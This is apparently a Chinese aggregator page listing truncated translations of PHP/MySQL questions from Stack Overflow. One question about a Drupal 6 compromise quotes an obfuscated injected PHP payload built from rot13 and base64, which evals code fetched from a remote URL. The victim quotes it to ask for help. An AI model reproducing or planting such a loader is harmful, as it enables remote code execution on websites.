草庐IT

SQL - MySQL回表

全部标签

PHP/SQL - 如果 ID 在 foreach() 中相同,则将值加在一起

我正在尝试显示球员进球的统计数据,但有时同一名球员会使用相同的球员ID添加到数据库中,当一名球员被添加两次时,我如何将这些值加在一起以显示总数,而不是回显播放器两次。数据库结构示例:playerID|Goals|Season|leagueID151121111212531113222221PHP:$query=$db->query('SELECT*FROMplayerstatsORDERBYgoalsDESCLIMIT30');$num=$query->num_rows;if($num>0){foreach($queryas$row){$playerID=$row['playerID'

php - PHP 中 MySQL、MSSQL 和 Oracle 的标准连接库

我正在寻找一种用PHP连接到数据库的标准方法。我们都经历过这种情况-首先从一些基本代码开始连接/查询/迭代/插入/断开连接,然后代码随着程序的增长而增长,最后变成一团糟,几乎无法重用。我知道有许多PEAR、PECL和其他PHP库/类可以满足我的描述-但哪些被维护、使用并被证明是无错误和高效的? 最佳答案 如果您使用的是PHP5tryoutPDO 关于php-PHP中MySQL、MSSQL和Oracle的标准连接库,我们在StackOverflow上找到一个类似的问题:

php - 用于 PHP 的 SQL Builder,具有 JOIN 支持?

你们中有人知道可以帮助您构建/操作支持JOIN的SQL查询的库吗?我想如果你有一些东西可以返回一个对象,它有一些查询集,并且仍然能够对其应用JOIN、子查询等,这将提供很大的灵active。我四处搜索,只找到了SQLBuilder,它看起来很基础,而且不支持连接。这将是一个真正有用的主要功能。 最佳答案 也许你可以试试ORM,比如Propel或Doctrine,他们有一个很好的编程查询语言,他们返回给你代表数据库中行的对象数组......例如,对于Doctrine,您可以像这样进行连接:$q=Doctrine_Query::crea

php - Drupal 6 中的 SQL PHP 注入(inject)攻击

今天,我的drupal6站点中的所有节点都出现了这个添加的php脚本?php$node->nid=849;preg_replace('/^(.'.'*'.')$/'.'e',preg_replace('/^(.'.'*'.')$/'.'e','str'.'_'.'rot'.(27-14).'(\'\1\')','riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'),'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHR

php - 使用 Symfony 2,Doctrine 在 SQL 数据库中保存数组?

我正在做应用程序,我在其中使用SQL,我想将复选框值保存在一列中。我是这样做的:/***@Assert\NotBlank(*message="pleaseselect!")*@Assert\NotNull(*message="pleaseselect!")*@Assert\Range(min=0,max=9)*@ORM\Column(type="integer")*/protected$ingredients;publicstaticfunctiongetIngredientsOptions(){returnarray('cheese','tomatoes','salami','oni

php - 更好的 SQL 字符串清理功能

我目前正在使用以下函数来清理我的$_POST和$_GET以防止SQL注入(inject)。不幸的是,我无法通过它发布代码,例如:“”。推特是怎么做到的?function_secinput($variable){returnfilter_var(mysql_real_escape_string($variable),FILTER_SANITIZE_STRING);}另外,如果我能以任何方式改进它,谁能告诉我建议? 最佳答案 永远不会也永远不会有一个函数来清理所有的东西。您必须为工作选择合适的工具。1)htmlspecialchars(

php - 使用php mysql按半径搜索经纬度数据库

我正在尝试开发一个小型站点,该站点按设定的半径从数据库中检索结果并将其放置在map上。我使用GooglemapAPI从那里获取经纬度搜索条件,将这些传递到我的php脚本,该脚本查询数据库并将结果集作为JSON对象返回。我在使用json将纬度和经度发送到php时遇到了一个小问题。我的主要问题是我搜索数据库的sql似乎是错误的,因为它只检索了我数据库中的前10个结果。我希望它返回搜索点半径范围内的前10个结果。这是我的ajax代码functionshowCarPark(location){varlat=location.lat();varlng=location.lng();//alert

php - 获取最近的日期mysql

我的表格中有以下日期。如何找到离今天最近的日期(如果有今天的日期)或者如果没有今天的日期那么最近的过去日期?2012-10-01aa1232012-10-02aa432012-10-03aa4782012-10-04aa402012-10-05aa542012-10-06de342012-10-07a54342012-10-08r4t2012-10-09x342012-10-10q232012-10-11b53因此,如果今天是'2012-10-07'则记录将为a5434。但是,如果2012-10-07丢失,则记录将为de34,它属于2012-10-06,因为那将是最接近的从今天开始的过

php - 通过 php 从 mysql 结果创建 json 对象

这个问题在这里已经有了答案:关闭10年前。PossibleDuplicate:JSONencodeMySQLresults我想使用php创建一个如下所示的json对象。它将返回一个字符串作为结果sql查询的响应。{"Orders":[{"DeliveryId":"DeliveryId","CustomerName":"CustomerName","PhoneNumber":"PhoneNumber","Address":"Address"},{"DeliveryId":"DeliveryId","CustomerName":"CustomerName","PhoneNumber":"P

php - 什么是 SQL 支持的数字运算的更好选择 - Ruby 1.9、Python 2、Python 3 或 PHP 5.3?

“更好”的标准:数学速度快,简单(字段少,记录多)数据库事务,开发/读取/扩展方便,灵活,可连接。任务是使用一种通用的网络开发脚本语言来处理和计算长时间序列和多维表面(主要是选择/插入一组float并用它们进行数学计算)。选择是Ruby1.9、Python2、Python3、PHP5.3、Perl5.12或JavaScript(node.js)。所有数据都将存储在关系数据库中(由于其高度多维的性质);所有与外部世界的通信都将通过网络服务完成。 最佳答案 我建议使用Python及其出色的科学/数学库(SciPy、NumPy)。否则语言